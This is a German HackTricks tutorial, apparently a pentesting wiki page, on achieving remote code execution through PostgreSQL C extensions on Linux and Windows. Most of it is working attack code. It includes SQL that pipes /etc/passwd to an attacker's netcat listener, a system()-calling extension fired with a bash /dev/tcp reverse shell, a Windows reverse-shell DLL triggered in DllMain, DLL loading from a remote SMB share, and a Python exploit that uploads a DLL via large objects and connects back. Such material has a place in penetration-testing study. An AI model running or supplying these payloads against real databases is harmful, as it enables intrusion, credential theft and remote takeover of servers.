RCE mit PostgreSQL-Erweiterungen
Reading time: 11 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
PostgreSQL-Erweiterungen
PostgreSQL wurde mit Erweiterbarkeit als Kernfunktion entwickelt, die es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.
Seit Version 8.1 wird eine spezifische Anforderung an die Erweiterungsbibliotheken gestellt: Sie müssen mit einem speziellen Header kompiliert werden. Ohne dies wird PostgreSQL sie nicht ausführen, um sicherzustellen, dass nur kompatible und potenziell sichere Erweiterungen verwendet werden.
Denken Sie auch daran, dass wenn Sie nicht wissen, wie man Dateien auf das Opfer hochlädt, indem man PostgreSQL missbraucht, sollten Sie diesen Beitrag lesen.
RCE in Linux
Für weitere Informationen siehe: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dies zu verwenden: Metasploit-Modul.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Schreibe eine Binärdatei aus Base64
Um eine Binärdatei in eine Datei in Postgres zu schreiben, müssen Sie möglicherweise Base64 verwenden, das wird in diesem Fall hilfreich sein:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
Allerdings wurde bei dem Versuch auf höheren Versionen der folgende Fehler angezeigt:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Dieser Fehler wird in der PostgreSQL-Dokumentation erklärt:
Um sicherzustellen, dass eine dynamisch geladene Objektdatei nicht in einen inkompatiblen Server geladen wird, überprüft PostgreSQL, ob die Datei einen „magischen Block“ mit den entsprechenden Inhalten enthält. Dies ermöglicht es dem Server, offensichtliche Inkompatibilitäten zu erkennen, wie z.B. Code, der für eine andere Hauptversion von PostgreSQL kompiliert wurde. Ein magischer Block ist seit PostgreSQL 8.2 erforderlich. Um einen magischen Block einzufügen, schreiben Sie dies in eine (und nur eine) der Modul-Quellcodedateien, nachdem Sie die Header-Datei fmgr.h eingebunden haben:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Seit der Version 8.2 von PostgreSQL ist der Prozess für einen Angreifer, das System auszunutzen, schwieriger geworden. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
Bibliothek kompilieren
Holen Sie sich die PostgreSQL-Version mit:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Für die Kompatibilität ist es entscheidend, dass die Hauptversionen übereinstimmen. Daher sollte das Kompilieren einer Bibliothek mit einer beliebigen Version innerhalb der 9.6.x-Serie eine erfolgreiche Integration gewährleisten.
Um diese Version in Ihrem System zu installieren:
apt install postgresql postgresql-server-dev-9.6
Und kompilieren Sie die Bibliothek:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Laden Sie dann die kompilierte Bibliothek hoch und führen Sie Befehle mit aus:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
Sie können diese Bibliothek vorcompiliert für mehrere verschiedene PostgreSQL-Versionen finden und sogar diesen Prozess automatisieren (wenn Sie PostgreSQL-Zugriff haben) mit:
RCE in Windows
Die folgende DLL nimmt als Eingabe den Namen der Binärdatei und die Anzahl der Male, die Sie sie ausführen möchten, und führt sie aus:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
Sie können die kompilierte DLL in diesem Zip finden:
{% file src="../../../images/pgsql_exec.zip" %}
Sie können dieser DLL angeben, welches Binary ausgeführt werden soll und wie oft es ausgeführt werden soll, in diesem Beispiel wird calc.exe
2 Mal ausgeführt:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
In hier finden Sie diese Reverse-Shell:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Beachten Sie, dass in diesem Fall der schadhafte Code sich innerhalb der DllMain-Funktion befindet. Das bedeutet, dass in diesem Fall die Ausführung der geladenen Funktion in PostgreSQL nicht erforderlich ist, sondern dass das Laden der DLL die Reverse-Shell ausführen wird:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Das PolyUDF-Projekt ist ebenfalls ein guter Ausgangspunkt mit dem vollständigen MS Visual Studio-Projekt und einer einsatzbereiten Bibliothek (einschließlich: command eval, exec und cleanup) mit Unterstützung für mehrere Versionen.
RCE in den neuesten PostgreSQL-Versionen
In den neuesten Versionen von PostgreSQL wurden Einschränkungen eingeführt, bei denen der superuser
verboten ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu laden, wie z.B. C:\Program Files\PostgreSQL\11\lib
unter Windows oder /var/lib/postgresql/11/lib
auf *nix-Systemen. Diese Verzeichnisse sind gegen Schreiboperationen durch entweder die NETWORK_SERVICE- oder postgres-Konten gesichert.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-superuser
möglich, binäre Dateien im Dateisystem mithilfe von "Large Objects" zu schreiben. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis C:\Program Files\PostgreSQL\11\data
, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
Eine erhebliche Schwachstelle ergibt sich aus dem Befehl CREATE FUNCTION
, der Verzeichnisdurchquerung in das Datenverzeichnis erlaubt. Folglich könnte ein authentifizierter Angreifer diese Durchquerung ausnutzen, um eine Shared Library-Datei in das Datenverzeichnis zu schreiben und sie dann zu laden. Dieser Exploit ermöglicht es dem Angreifer, beliebigen Code auszuführen und native Codeausführung auf dem System zu erreichen.
Angriffsfluss
Zunächst müssen Sie Large Objects verwenden, um die dll hochzuladen. Sie können sehen, wie das geht, hier:
Big Binary Files Upload (PostgreSQL)
Sobald Sie die Erweiterung (mit dem Namen poc.dll für dieses Beispiel) in das Datenverzeichnis hochgeladen haben, können Sie sie mit folgendem Befehl laden:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Beachten Sie, dass Sie die .dll
-Erweiterung nicht anhängen müssen, da die Funktion create sie hinzufügen wird.
Für weitere Informationen lesen Sie die ursprüngliche Veröffentlichung hier.
In dieser Veröffentlichung wurde dieser Code verwendet, um die Postgres-Erweiterung zu generieren (um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen).
Auf derselben Seite wurde dieser Exploit zur Automatisierung dieser Technik bereitgestellt:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Referenzen
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.